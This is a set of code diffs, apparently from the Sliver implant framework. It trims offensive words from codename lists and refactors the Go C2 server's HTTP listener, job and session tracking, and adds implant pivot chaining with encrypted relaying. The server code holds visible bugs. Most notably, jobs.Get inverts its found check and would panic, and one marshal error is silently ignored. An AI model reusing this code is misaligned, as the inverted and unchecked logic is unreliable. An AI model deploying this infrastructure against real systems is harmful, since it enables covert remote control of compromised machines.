|
||||
@@ -28621,7 +28609,6 @@ COCHLEAS
|
||||
COCHLEATE
|
||||
COCINERA
|
||||
COCINERAS
|
||||
COCK
|
||||
COCKADE
|
||||
COCKADED
|
||||
COCKADES
|
||||
@@ -61435,16 +61422,6 @@ FUCHSINE
|
||||
FUCHSINES
|
||||
FUCHSINS
|
||||
FUCI
|
||||
FUCK
|
||||
FUCKED
|
||||
FUCKER
|
||||
FUCKERS
|
||||
FUCKING
|
||||
FUCKOFF
|
||||
FUCKOFFS
|
||||
FUCKS
|
||||
FUCKUP
|
||||
FUCKUPS
|
||||
FUCOID
|
||||
FUCOIDAL
|
||||
FUCOIDS
|
||||
@@ -72658,8 +72635,6 @@ HORSERACES
|
||||
HORSERADISH
|
||||
HORSERADISHES
|
||||
HORSES
|
||||
HORSESHIT
|
||||
HORSESHITS
|
||||
HORSESHOD
|
||||
HORSESHOE
|
||||
HORSESHOED
|
||||
@@ -95915,7 +95890,6 @@ MISOGYNIES
|
||||
MISOGYNIST
|
||||
MISOGYNISTIC
|
||||
MISOGYNISTS
|
||||
MISOGYNY
|
||||
MISOLOGIES
|
||||
MISOLOGY
|
||||
MISONEISM
|
||||
@@ -102548,8 +102522,6 @@ NONHISTORICAL
|
||||
NONHOME
|
||||
NONHOMOGENEOUS
|
||||
NONHOMOLOGOUS
|
||||
NONHOMOSEXUAL
|
||||
NONHOMOSEXUALS
|
||||
NONHORMONAL
|
||||
NONHOSPITAL
|
||||
NONHOSPITALIZED
|
||||
@@ -103092,8 +103064,6 @@ NONSEQUENTIAL
|
||||
NONSERIAL
|
||||
NONSERIALS
|
||||
NONSERIOUS
|
||||
NONSEXIST
|
||||
NONSEXUAL
|
||||
NONSHRINK
|
||||
NONSHRINKABLE
|
||||
NONSIGNER
|
||||
@@ -109502,7 +109472,6 @@ OVERSEWED
|
||||
OVERSEWING
|
||||
OVERSEWN
|
||||
OVERSEWS
|
||||
OVERSEXED
|
||||
OVERSHADE
|
||||
OVERSHADED
|
||||
OVERSHADES
|
||||
@@ -111042,10 +111011,6 @@ PANORAMICALLY
|
||||
PANPIPE
|
||||
PANPIPES
|
||||
PANS
|
||||
PANSEXUAL
|
||||
PANSEXUALITIES
|
||||
PANSEXUALITY
|
||||
PANSEXUALS
|
||||
PANSIES
|
||||
PANSOPHIC
|
||||
PANSOPHIES
|
||||
@@ -111508,9 +111473,6 @@ PARASAILINGS
|
||||
PARASAILS
|
||||
PARASANG
|
||||
PARASANGS
|
||||
PARASEXUAL
|
||||
PARASEXUALITIES
|
||||
PARASEXUALITY
|
||||
PARASHAH
|
||||
PARASHAHS
|
||||
PARASHIOTH
|
||||
@@ -113331,8 +113293,6 @@ PENILE
|
||||
PENINSULA
|
||||
PENINSULAR
|
||||
PENINSULAS
|
||||
PENIS
|
||||
PENISES
|
||||
PENITENCE
|
||||
PENITENCES
|
||||
PENITENT
|
||||
@@ -124041,9 +124001,6 @@ PSYCHOPHYSICIST
|
||||
PSYCHOPHYSICS
|
||||
PSYCHOS
|
||||
PSYCHOSES
|
||||
PSYCHOSEXUAL
|
||||
PSYCHOSEXUALITY
|
||||
PSYCHOSEXUALLY
|
||||
PSYCHOSIS
|
||||
PSYCHOSOCIAL
|
||||
PSYCHOSOCIALLY
|
||||
@@ -141644,84 +141601,6 @@ SEWING
|
||||
SEWINGS
|
||||
SEWN
|
||||
SEWS
|
||||
SEX
|
||||
SEXAGENARIAN
|
||||
SEXAGENARIANS
|
||||
SEXAGESIMAL
|
||||
SEXAGESIMALS
|
||||
SEXDECILLION
|
||||
SEXDECILLIONS
|
||||
SEXED
|
||||
SEXENNIAL
|
||||
SEXENNIALS
|
||||
SEXES
|
||||
SEXIER
|
||||
SEXIEST
|
||||
SEXILY
|
||||
SEXINESS
|
||||
SEXINESSES
|
||||
SEXING
|
||||
SEXISM
|
||||
SEXISMS
|
||||
SEXIST
|
||||
SEXISTS
|
||||
SEXLESS
|
||||
SEXLESSLY
|
||||
SEXLESSNESS
|
||||
SEXLESSNESSES
|
||||
SEXOLOGIC
|
||||
SEXOLOGIES
|
||||
SEXOLOGIST
|
||||
SEXOLOGISTS
|
||||
SEXOLOGY
|
||||
SEXPLOITATION
|
||||
SEXPLOITATIONS
|
||||
SEXPOT
|
||||
SEXPOTS
|
||||
SEXT
|
||||
SEXTAIN
|
||||
SEXTAINS
|
||||
SEXTAN
|
||||
SEXTANS
|
||||
SEXTANT
|
||||
SEXTANTS
|
||||
SEXTARII
|
||||
SEXTARIUS
|
||||
SEXTET
|
||||
SEXTETS
|
||||
SEXTETTE
|
||||
SEXTETTES
|
||||
SEXTILE
|
||||
SEXTILES
|
||||
SEXTILLION
|
||||
SEXTILLIONS
|
||||
SEXTO
|
||||
SEXTODECIMO
|
||||
SEXTODECIMOS
|
||||
SEXTON
|
||||
SEXTONS
|
||||
SEXTOS
|
||||
SEXTS
|
||||
SEXTUPLE
|
||||
SEXTUPLED
|
||||
SEXTUPLES
|
||||
SEXTUPLET
|
||||
SEXTUPLETS
|
||||
SEXTUPLICATE
|
||||
SEXTUPLICATED
|
||||
SEXTUPLICATES
|
||||
SEXTUPLICATING
|
||||
SEXTUPLING
|
||||
SEXTUPLY
|
||||
SEXUAL
|
||||
SEXUALITIES
|
||||
SEXUALITY
|
||||
SEXUALIZE
|
||||
SEXUALIZED
|
||||
SEXUALIZES
|
||||
SEXUALIZING
|
||||
SEXUALLY
|
||||
SEXY
|
||||
SFERICS
|
||||
SFORZANDI
|
||||
SFORZANDO
|
||||
@@ -142641,29 +142520,6 @@ SHIRTWAISTS
|
||||
SHIRTY
|
||||
SHIST
|
||||
SHISTS
|
||||
SHIT
|
||||
SHITAKE
|
||||
SHITAKES
|
||||
SHITFACED
|
||||
SHITHEAD
|
||||
SHITHEADS
|
||||
SHITLESS
|
||||
SHITLIST
|
||||
SHITLISTS
|
||||
SHITLOAD
|
||||
SHITLOADS
|
||||
SHITS
|
||||
SHITTAH
|
||||
SHITTAHS
|
||||
SHITTED
|
||||
SHITTIER
|
||||
SHITTIEST
|
||||
SHITTIM
|
||||
SHITTIMS
|
||||
SHITTIMWOOD
|
||||
SHITTIMWOODS
|
||||
SHITTING
|
||||
SHITTY
|
||||
SHIV
|
||||
SHIVA
|
||||
SHIVAH
|
||||
|
||||
@@ -3557,7 +3557,6 @@ set
|
||||
setting
|
||||
settler
|
||||
sewer
|
||||
sex
|
||||
shack
|
||||
shade
|
||||
shadow
|
||||
@@ -4014,7 +4013,6 @@ talk
|
||||
tam
|
||||
tambour
|
||||
tambourine
|
||||
tam-o'-shanter
|
||||
tandem
|
||||
tangerine
|
||||
tank
|
||||
|
||||
+10
-13
@@ -67,10 +67,10 @@ var (
|
||||
|
||||
const (
|
||||
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
|
||||
DefaultHTTPTimeout = time.Minute * 5
|
||||
DefaultLongPollTimeout = 20 * time.Second
|
||||
DefaultLongPollJitter = 20 * time.Second
|
||||
minPollTimeout = time.Second * 5
|
||||
DefaultHTTPTimeout = time.Minute
|
||||
DefaultLongPollTimeout = time.Second
|
||||
DefaultLongPollJitter = time.Second
|
||||
minPollTimeout = time.Second
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -129,8 +129,8 @@ type HTTPServerConfig struct {
|
||||
MaxRequestLength int
|
||||
|
||||
EnforceOTP bool
|
||||
LongPollTimeout int64
|
||||
LongPollJitter int64
|
||||
LongPollTimeout time.Duration
|
||||
LongPollJitter time.Duration
|
||||
}
|
||||
|
||||
// SliverHTTPC2 - Holds refs to all the C2 objects
|
||||
@@ -188,7 +188,7 @@ func StartHTTPListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
WriteTimeout: DefaultHTTPTimeout,
|
||||
ReadTimeout: DefaultHTTPTimeout,
|
||||
IdleTimeout: DefaultHTTPTimeout,
|
||||
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0),
|
||||
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler)),
|
||||
}
|
||||
if conf.ACME {
|
||||
conf.Domain = filepath.Base(conf.Domain) // I don't think we need this, but we do it anyways
|
||||
@@ -257,8 +257,8 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
|
||||
}
|
||||
if s.ServerConf.LongPollTimeout == 0 {
|
||||
s.ServerConf.LongPollTimeout = int64(DefaultLongPollTimeout)
|
||||
s.ServerConf.LongPollJitter = int64(DefaultLongPollJitter)
|
||||
s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
|
||||
s.ServerConf.LongPollJitter = DefaultLongPollJitter
|
||||
}
|
||||
|
||||
httpLog.Debugf("HTTP C2 Implant Config = %v", c2Config.ImplantConfig)
|
||||
@@ -630,18 +630,15 @@ func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseW
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
|
||||
if s.ServerConf.LongPollJitter < 0 {
|
||||
s.ServerConf.LongPollJitter = 0
|
||||
}
|
||||
min := s.ServerConf.LongPollTimeout
|
||||
max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
|
||||
timeout := float64(min) + insecureRand.Float64()*(float64(max)-float64(min))
|
||||
pollTimeout := time.Duration(int64(timeout))
|
||||
httpLog.Debugf("Poll timeout: %s", pollTimeout)
|
||||
if pollTimeout < minPollTimeout {
|
||||
httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
|
||||
pollTimeout = minPollTimeout
|
||||
}
|
||||
httpLog.Debugf("Poll timeout: %s", pollTimeout)
|
||||
return pollTimeout
|
||||
}
|
||||
|
||||
|
||||
+2
-2
@@ -380,8 +380,8 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
|
||||
Key: j.Key,
|
||||
ACME: j.ACME,
|
||||
EnforceOTP: j.EnforceOTP,
|
||||
LongPollTimeout: j.LongPollTimeout,
|
||||
LongPollJitter: j.LongPollJitter,
|
||||
LongPollTimeout: time.Duration(j.LongPollTimeout),
|
||||
LongPollJitter: time.Duration(j.LongPollJitter),
|
||||
}
|
||||
job, err := StartHTTPListenerJob(cfg)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Core
|
||||
======
|
||||
|
||||
The core packages handles the server's state (maintaining references to running jobs, open connections, etc), generally no other packages should hold state.
|
||||
@@ -44,6 +44,7 @@ type eventBroker struct {
|
||||
send chan Event
|
||||
}
|
||||
|
||||
// Start - Start a broker channel
|
||||
func (broker *eventBroker) Start() {
|
||||
subscribers := map[chan Event]struct{}{}
|
||||
for {
|
||||
@@ -65,6 +66,7 @@ func (broker *eventBroker) Start() {
|
||||
}
|
||||
}
|
||||
|
||||
// Stop - Close the broker channel
|
||||
func (broker *eventBroker) Stop() {
|
||||
close(broker.stop)
|
||||
}
|
||||
|
||||
@@ -33,6 +33,7 @@ var (
|
||||
coreLog = log.NamedLogger("core", "hosts")
|
||||
)
|
||||
|
||||
// StartEventAutomation - Starts an event automation goroutine
|
||||
func StartEventAutomation() {
|
||||
go func() {
|
||||
for event := range EventBroker.Subscribe() {
|
||||
|
||||
+21
-24
@@ -21,16 +21,15 @@ package core
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
var (
|
||||
// Jobs - Holds pointers to all the current jobs
|
||||
Jobs = &jobs{
|
||||
active: map[int]*Job{},
|
||||
mutex: &sync.RWMutex{},
|
||||
// ID -> *Job
|
||||
active: &sync.Map{},
|
||||
}
|
||||
jobID = 0
|
||||
)
|
||||
@@ -61,26 +60,22 @@ func (j *Job) ToProtobuf() *clientpb.Job {
|
||||
|
||||
// jobs - Holds refs to all active jobs
|
||||
type jobs struct {
|
||||
active map[int]*Job
|
||||
mutex *sync.RWMutex
|
||||
active *sync.Map
|
||||
}
|
||||
|
||||
// All - Return a list of all jobs
|
||||
func (j *jobs) All() []*Job {
|
||||
j.mutex.RLock()
|
||||
defer j.mutex.RUnlock()
|
||||
all := []*Job{}
|
||||
for _, job := range j.active {
|
||||
all = append(all, job)
|
||||
}
|
||||
j.active.Range(func(key, value interface{}) bool {
|
||||
all = append(all, value.(*Job))
|
||||
return true
|
||||
})
|
||||
return all
|
||||
}
|
||||
|
||||
// Add - Add a job to the hive (atomically)
|
||||
func (j *jobs) Add(job *Job) {
|
||||
j.mutex.Lock()
|
||||
defer j.mutex.Unlock()
|
||||
j.active[job.ID] = job
|
||||
j.active.Store(job.ID, job)
|
||||
EventBroker.Publish(Event{
|
||||
Job: job,
|
||||
EventType: consts.JobStartedEvent,
|
||||
@@ -89,13 +84,13 @@ func (j *jobs) Add(job *Job) {
|
||||
|
||||
// Remove - Remove a job
|
||||
func (j *jobs) Remove(job *Job) {
|
||||
j.mutex.Lock()
|
||||
defer j.mutex.Unlock()
|
||||
delete(j.active, job.ID)
|
||||
EventBroker.Publish(Event{
|
||||
Job: job,
|
||||
EventType: consts.JobStoppedEvent,
|
||||
})
|
||||
_, ok := j.active.LoadAndDelete(job.ID)
|
||||
if ok {
|
||||
EventBroker.Publish(Event{
|
||||
Job: job,
|
||||
EventType: consts.JobStoppedEvent,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Get - Get a Job
|
||||
@@ -103,9 +98,11 @@ func (j *jobs) Get(jobID int) *Job {
|
||||
if jobID <= 0 {
|
||||
return nil
|
||||
}
|
||||
j.mutex.RLock()
|
||||
defer j.mutex.RUnlock()
|
||||
return j.active[jobID]
|
||||
val, ok := j.active.Load(jobID)
|
||||
if !ok {
|
||||
return val.(*Job)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// NextJobID - Returns an incremental nonce as an id
|
||||
|
||||
+212
-1
@@ -1,7 +1,218 @@
|
||||
package core
|
||||
|
||||
import "sync"
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
PivotTransportName = "pivot"
|
||||
)
|
||||
|
||||
var (
|
||||
PivotSessions = &sync.Map{} // ID -> Pivot
|
||||
)
|
||||
|
||||
// Pivot - Wraps an ImplantConnection
|
||||
type Pivot struct {
|
||||
ID string
|
||||
OriginID int64
|
||||
ImplantConn *ImplantConnection
|
||||
ImmediateImplantConn *ImplantConnection
|
||||
CipherCtx *cryptography.CipherContext
|
||||
Peers []*sliverpb.PivotPeer
|
||||
}
|
||||
|
||||
// Start - Starts the pivot send loop which forwards envelopes from the pivot ImplantConnection
|
||||
// to the ImmediateImplantConnection (the closest peer in the chain)
|
||||
func (p *Pivot) Start() {
|
||||
go func() {
|
||||
defer func() {
|
||||
coreLog.Debugf("pivot session %s send loop closing (origin id: %d)", p.ID, p.OriginID)
|
||||
}()
|
||||
for envelope := range p.ImplantConn.Send {
|
||||
envelopeData, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
coreLog.Errorf("failed to marshal envelope: %v", err)
|
||||
continue
|
||||
}
|
||||
ciphertext, err := p.CipherCtx.Encrypt(envelopeData)
|
||||
if err != nil {
|
||||
coreLog.Errorf("failed to encrypt envelope: %v", err)
|
||||
continue
|
||||
}
|
||||
peerEnvelopeData, _ := proto.Marshal(&sliverpb.PivotPeerEnvelope{
|
||||
Type: envelope.Type,
|
||||
Peers: p.Peers,
|
||||
Data: ciphertext,
|
||||
})
|
||||
if err != nil {
|
||||
coreLog.Errorf("failed to wrap pivot peer envelope: %v", err)
|
||||
continue
|
||||
}
|
||||
p.ImmediateImplantConn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPivotPeerEnvelope,
|
||||
Data: peerEnvelopeData,
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// NewPivotSession - Creates a new pivot session
|
||||
func NewPivotSession(chain []*sliverpb.PivotPeer) *Pivot {
|
||||
id, _ := uuid.NewV4()
|
||||
return &Pivot{
|
||||
ID: id.String(),
|
||||
Peers: chain,
|
||||
}
|
||||
}
|
||||
|
||||
// PivotGraphEntry - A single entry in the pivot graph
|
||||
type PivotGraphEntry struct {
|
||||
PeerID int64
|
||||
SessionID string
|
||||
Name string
|
||||
|
||||
// PeerID -> Child
|
||||
Children map[int64]*PivotGraphEntry
|
||||
}
|
||||
|
||||
// ToProtobuf - Recursively converts the pivot graph to protobuf
|
||||
func (e *PivotGraphEntry) ToProtobuf() *clientpb.PivotGraphEntry {
|
||||
children := []*clientpb.PivotGraphEntry{}
|
||||
for _, child := range e.Children {
|
||||
children = append(children, child.ToProtobuf())
|
||||
}
|
||||
return &clientpb.PivotGraphEntry{
|
||||
PeerID: e.PeerID,
|
||||
Session: Sessions.Get(e.SessionID).ToProtobuf(),
|
||||
Name: e.Name,
|
||||
Children: children,
|
||||
}
|
||||
}
|
||||
|
||||
// Insert - Inserts a pivot into the graph, if it doesn't yet exist
|
||||
func (e *PivotGraphEntry) Insert(input *PivotGraphEntry) {
|
||||
if _, ok := e.Children[input.PeerID]; !ok {
|
||||
e.Children[input.PeerID] = input
|
||||
}
|
||||
}
|
||||
|
||||
// FindEntryByPeerID - Finds a pivot graph entry by peer ID, recursively
|
||||
func (e *PivotGraphEntry) FindEntryByPeerID(peerID int64) *PivotGraphEntry {
|
||||
if e.PeerID == peerID {
|
||||
return e
|
||||
}
|
||||
for _, entry := range e.Children {
|
||||
childEntry := entry.FindEntryByPeerID(peerID)
|
||||
if childEntry != nil {
|
||||
return childEntry
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AllChildren - Flat list of all children (including children of children)
|
||||
func (e *PivotGraphEntry) AllChildren() []*PivotGraphEntry {
|
||||
children := []*PivotGraphEntry{}
|
||||
coreLog.Debugf("parent: %v", e)
|
||||
for _, child := range e.Children {
|
||||
children = append(children, child)
|
||||
children = append(children, child.AllChildren()...)
|
||||
}
|
||||
coreLog.Debugf("parent: %v, all children: %v", e, children)
|
||||
return children
|
||||
}
|
||||
|
||||
func findAllChildrenByPeerID(peerID int64) []*PivotGraphEntry {
|
||||
children := []*PivotGraphEntry{}
|
||||
for _, topLevelEntry := range PivotGraph() {
|
||||
entry := topLevelEntry.FindEntryByPeerID(peerID)
|
||||
coreLog.Debugf("top level entry: %v, found: %v", topLevelEntry, entry)
|
||||
if entry != nil {
|
||||
children = entry.AllChildren()
|
||||
break
|
||||
}
|
||||
}
|
||||
return children
|
||||
}
|
||||
|
||||
// PivotGraph - Creates a graph structure of sessions/pivots
|
||||
func PivotGraph() []*PivotGraphEntry {
|
||||
graph := []*PivotGraphEntry{}
|
||||
|
||||
// Any non-pivot session will be top-level
|
||||
for _, session := range Sessions.All() {
|
||||
if session.Connection.Transport == PivotTransportName {
|
||||
continue
|
||||
}
|
||||
graph = append(graph, &PivotGraphEntry{
|
||||
PeerID: session.PeerID,
|
||||
SessionID: session.ID,
|
||||
Name: session.Name,
|
||||
Children: make(map[int64]*PivotGraphEntry),
|
||||
})
|
||||
}
|
||||
for _, topLevel := range graph {
|
||||
coreLog.Debugf("[graph] top level: %v", topLevel)
|
||||
insertImmediateChildren(topLevel, 1)
|
||||
}
|
||||
return graph
|
||||
}
|
||||
|
||||
// Remember that the origin index zero, and we only want this "entry"s immediate children
|
||||
// the peers list will look something like this, where 2 is the parent of both 3, and 4
|
||||
// 1
|
||||
// 2,1
|
||||
// 3,2,1
|
||||
// 4,2,1
|
||||
func insertImmediateChildren(entry *PivotGraphEntry, depth int) {
|
||||
// Iterate over pivots and insert them into the graph
|
||||
PivotSessions.Range(func(key, value interface{}) bool {
|
||||
pivot := value.(*Pivot)
|
||||
if len(pivot.Peers) != depth+1 {
|
||||
return true
|
||||
}
|
||||
session := Sessions.FromImplantConnection(pivot.ImplantConn)
|
||||
coreLog.Debugf("[graph] entry: %v, pivot: %v", entry.Name, pivot)
|
||||
if pivot.Peers[1].PeerID == entry.PeerID {
|
||||
child := &PivotGraphEntry{
|
||||
PeerID: pivot.OriginID,
|
||||
SessionID: session.ID,
|
||||
Name: session.Name,
|
||||
Children: make(map[int64]*PivotGraphEntry),
|
||||
}
|
||||
coreLog.Debugf("[graph] entry: %v, found child: %v", entry.Name, child.Name)
|
||||
entry.Insert(child)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
// Recurse over children
|
||||
for _, child := range entry.Children {
|
||||
insertImmediateChildren(child, depth+1)
|
||||
}
|
||||
}
|
||||
+58
-52
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/gofrs/uuid"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
)
|
||||
@@ -36,10 +37,8 @@ var (
|
||||
|
||||
// Sessions - Manages implant connections
|
||||
Sessions = &sessions{
|
||||
sessions: map[uint32]*Session{},
|
||||
mutex: &sync.RWMutex{},
|
||||
sessions: &sync.Map{},
|
||||
}
|
||||
rollingSessionID = uint32(0)
|
||||
|
||||
// ErrUnknownMessageType - Returned if the implant did not understand the message for
|
||||
// example when the command is not supported on the platform
|
||||
@@ -51,7 +50,7 @@ var (
|
||||
|
||||
// Session - Represents a connection to an implant
|
||||
type Session struct {
|
||||
ID uint32
|
||||
ID string
|
||||
Name string
|
||||
Hostname string
|
||||
Username string
|
||||
@@ -71,12 +70,15 @@ type Session struct {
|
||||
Burned bool
|
||||
Extensions []string
|
||||
ConfigID string
|
||||
PeerID int64
|
||||
}
|
||||
|
||||
// LastCheckin - Get the last time a session message was received
|
||||
func (s *Session) LastCheckin() time.Time {
|
||||
return s.Connection.LastMessage
|
||||
}
|
||||
|
||||
// IsDead - See if last check-in is within expected variance
|
||||
func (s *Session) IsDead() bool {
|
||||
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
|
||||
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
|
||||
@@ -99,7 +101,7 @@ func (s *Session) IsDead() bool {
|
||||
// ToProtobuf - Get the protobuf version of the object
|
||||
func (s *Session) ToProtobuf() *clientpb.Session {
|
||||
return &clientpb.Session{
|
||||
ID: uint32(s.ID),
|
||||
ID: s.ID,
|
||||
Name: s.Name,
|
||||
Hostname: s.Hostname,
|
||||
Username: s.Username,
|
||||
@@ -119,7 +121,7 @@ func (s *Session) ToProtobuf() *clientpb.Session {
|
||||
ReconnectInterval: s.ReconnectInterval,
|
||||
ProxyURL: s.ProxyURL,
|
||||
Burned: s.Burned,
|
||||
// ConfigID: s.ConfigID,
|
||||
PeerID: s.PeerID,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -156,33 +158,30 @@ func (s *Session) Request(msgType uint32, timeout time.Duration, data []byte) ([
|
||||
|
||||
// sessions - Manages the slivers, provides atomic access
|
||||
type sessions struct {
|
||||
mutex *sync.RWMutex
|
||||
sessions map[uint32]*Session
|
||||
sessions *sync.Map // map[uint32]*Session
|
||||
}
|
||||
|
||||
// All - Return a list of all sessions
|
||||
func (s *sessions) All() []*Session {
|
||||
s.mutex.RLock()
|
||||
defer s.mutex.RUnlock()
|
||||
all := []*Session{}
|
||||
for _, session := range s.sessions {
|
||||
all = append(all, session)
|
||||
}
|
||||
s.sessions.Range(func(key, value interface{}) bool {
|
||||
all = append(all, value.(*Session))
|
||||
return true
|
||||
})
|
||||
return all
|
||||
}
|
||||
|
||||
// Get - Get a session by ID
|
||||
func (s *sessions) Get(sessionID uint32) *Session {
|
||||
s.mutex.RLock()
|
||||
defer s.mutex.RUnlock()
|
||||
return s.sessions[sessionID]
|
||||
func (s *sessions) Get(sessionID string) *Session {
|
||||
if val, ok := s.sessions.Load(sessionID); ok {
|
||||
return val.(*Session)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Add - Add a sliver to the hive (atomically)
|
||||
func (s *sessions) Add(session *Session) *Session {
|
||||
s.mutex.Lock()
|
||||
defer s.mutex.Unlock()
|
||||
s.sessions[session.ID] = session
|
||||
s.sessions.Store(session.ID, session)
|
||||
EventBroker.Publish(Event{
|
||||
EventType: consts.SessionOpenedEvent,
|
||||
Session: session,
|
||||
@@ -191,26 +190,33 @@ func (s *sessions) Add(session *Session) *Session {
|
||||
}
|
||||
|
||||
// Remove - Remove a sliver from the hive (atomically)
|
||||
func (s *sessions) Remove(sessionID uint32) {
|
||||
s.mutex.Lock()
|
||||
defer s.mutex.Unlock()
|
||||
session := s.sessions[sessionID]
|
||||
if session != nil {
|
||||
|
||||
// Remove any pivots associated with this session
|
||||
PivotSessions.Range(func(key, value interface{}) bool {
|
||||
|
||||
return true
|
||||
})
|
||||
|
||||
delete(s.sessions, sessionID)
|
||||
EventBroker.Publish(Event{
|
||||
EventType: consts.SessionClosedEvent,
|
||||
Session: session,
|
||||
})
|
||||
func (s *sessions) Remove(sessionID string) {
|
||||
val, ok := s.sessions.Load(sessionID)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
parentSession := val.(*Session)
|
||||
children := findAllChildrenByPeerID(parentSession.PeerID)
|
||||
s.sessions.Delete(parentSession.ID)
|
||||
coreLog.Debugf("Removing %d children of session %d (%v)", len(children), parentSession.ID, children)
|
||||
for _, child := range children {
|
||||
childSession, ok := s.sessions.LoadAndDelete(child.SessionID)
|
||||
if ok {
|
||||
EventBroker.Publish(Event{
|
||||
EventType: consts.SessionClosedEvent,
|
||||
Session: childSession.(*Session),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Remove the parent session
|
||||
EventBroker.Publish(Event{
|
||||
EventType: consts.SessionClosedEvent,
|
||||
Session: parentSession,
|
||||
})
|
||||
}
|
||||
|
||||
// NewSession - Create a new session
|
||||
func NewSession(implantConn *ImplantConnection) *Session {
|
||||
implantConn.UpdateLastMessage()
|
||||
return &Session{
|
||||
@@ -219,28 +225,28 @@ func NewSession(implantConn *ImplantConnection) *Session {
|
||||
}
|
||||
}
|
||||
|
||||
func SessionFromImplantConnection(conn *ImplantConnection) *Session {
|
||||
Sessions.mutex.RLock()
|
||||
defer Sessions.mutex.RUnlock()
|
||||
for _, session := range Sessions.sessions {
|
||||
if session.Connection.ID == conn.ID {
|
||||
return session
|
||||
// FromImplantConnection - Find the session associated with an implant connection
|
||||
func (s *sessions) FromImplantConnection(conn *ImplantConnection) *Session {
|
||||
var found *Session
|
||||
s.sessions.Range(func(key, value interface{}) bool {
|
||||
if value.(*Session).Connection.ID == conn.ID {
|
||||
found = value.(*Session)
|
||||
return false
|
||||
}
|
||||
}
|
||||
return nil
|
||||
return true
|
||||
})
|
||||
return found
|
||||
}
|
||||
|
||||
// nextSessionID - Returns an incremental nonce as an id
|
||||
func nextSessionID() uint32 {
|
||||
newID := rollingSessionID + 1
|
||||
rollingSessionID++
|
||||
return newID
|
||||
func nextSessionID() string {
|
||||
id, _ := uuid.NewV4()
|
||||
return id.String()
|
||||
}
|
||||
|
||||
// UpdateSession - In place update of a session pointer
|
||||
func (s *sessions) UpdateSession(session *Session) *Session {
|
||||
s.mutex.Lock()
|
||||
defer s.mutex.Unlock()
|
||||
s.sessions[session.ID] = session
|
||||
s.sessions.Store(session.ID, session)
|
||||
EventBroker.Publish(Event{
|
||||
EventType: consts.SessionUpdateEvent,
|
||||
Session: session,
|
||||
|
||||
@@ -35,7 +35,7 @@ var (
|
||||
|
||||
type TcpTunnel struct {
|
||||
ID uint64
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
ToImplantSequence uint64
|
||||
ToImplantMux sync.Mutex
|
||||
|
||||
@@ -49,7 +49,7 @@ type tcpTunnel struct {
|
||||
mutex *sync.Mutex
|
||||
}
|
||||
|
||||
func (t *tcpTunnel) Create(sessionID uint32) *TcpTunnel {
|
||||
func (t *tcpTunnel) Create(sessionID string) *TcpTunnel {
|
||||
tunnelID := NewTunnelID()
|
||||
session := Sessions.Get(sessionID)
|
||||
tunnel := &TcpTunnel{
|
||||
|
||||
@@ -37,7 +37,7 @@ var (
|
||||
}
|
||||
|
||||
// ErrInvalidTunnelID - Invalid tunnel ID value
|
||||
ErrInvalidTunnelID = errors.New("Invalid tunnel ID")
|
||||
ErrInvalidTunnelID = errors.New("invalid tunnel ID")
|
||||
)
|
||||
|
||||
// Tunnel - Essentially just a mapping between a specific client and sliver
|
||||
@@ -45,7 +45,7 @@ var (
|
||||
// care what data gets passed back and forth it just facilitates the connection
|
||||
type Tunnel struct {
|
||||
ID uint64
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
|
||||
ToImplant chan []byte
|
||||
ToImplantSequence uint64
|
||||
